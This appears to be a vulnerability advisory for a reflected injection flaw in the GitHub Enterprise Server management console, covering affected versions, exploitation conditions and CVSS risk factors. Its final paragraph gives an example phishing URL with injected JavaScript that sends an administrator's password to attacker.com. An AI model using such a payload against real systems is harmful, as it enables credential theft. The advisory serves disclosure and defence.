GitHub Enterprise Server EUVD-2026-28465

Exploitation requires the following specific conditions: (1) the target must be running GitHub Enterprise Server version 3.19.1-3.19.5 or 3.20.0-3.20.1; (2) an administrator must click a crafted link containing malicious payload in the redirect_to parameter; (3) the administrator must then enter their credentials into the login form. The vulnerability cannot be exploited without direct administrator interaction - it is a reflected injection only, not stored, and does not execute without a user visiting the malicious URL. No special server configuration or feature enablement is required; the vulnerable code path is part of the standard management console deployment. The attack vector is network-accessible, but passive attack timing and required user interaction significantly constrain real-world exploitation compared to unauthenticated remote code execution vulnerabilities.

CVSS 5.9 (medium) with AV:N (network), AC:L (low complexity), but AT:P (passive attack timing) and UI:A (user interaction required) are critical limiting factors. VC:H indicates confidentiality impact (credential theft) but no integrity or availability impact. The passive attack timing means the attacker must wait for administrator action; this is not a direct, time-bound attack. EPSS scoring data is unavailable, but the combination of network vector + user interaction + limited scope (credential theft, not system compromise) suggests moderate real-world priority. KEV status and active exploitation signals are not confirmed in provided data; no POC is reported. The attack succeeds only when: (1) an attacker crafts a link, (2) socially engineers an administrator to click it, and (3) the administrator enters credentials into the injected form. This is phishing-adjacent, not an autonomous remote code execution risk. For environments with security-aware administrators and email filtering, real-world risk is lower than CVSS alone indicates.

An attacker crafts a URL such as https://github-enterprise.internal/setup/unlock?redirect_to="onload="javascript:fetch('https://attacker.com/steal?creds='%2bdocument.getElementById('password').value) and sends it to a GitHub Enterprise administrator via spear-phishing email. When the administrator clicks the link and logs in, the injected JavaScript executes, exfiltrating the credentials to the attacker's server. The attacker then uses the stolen administrative credentials to access the management console.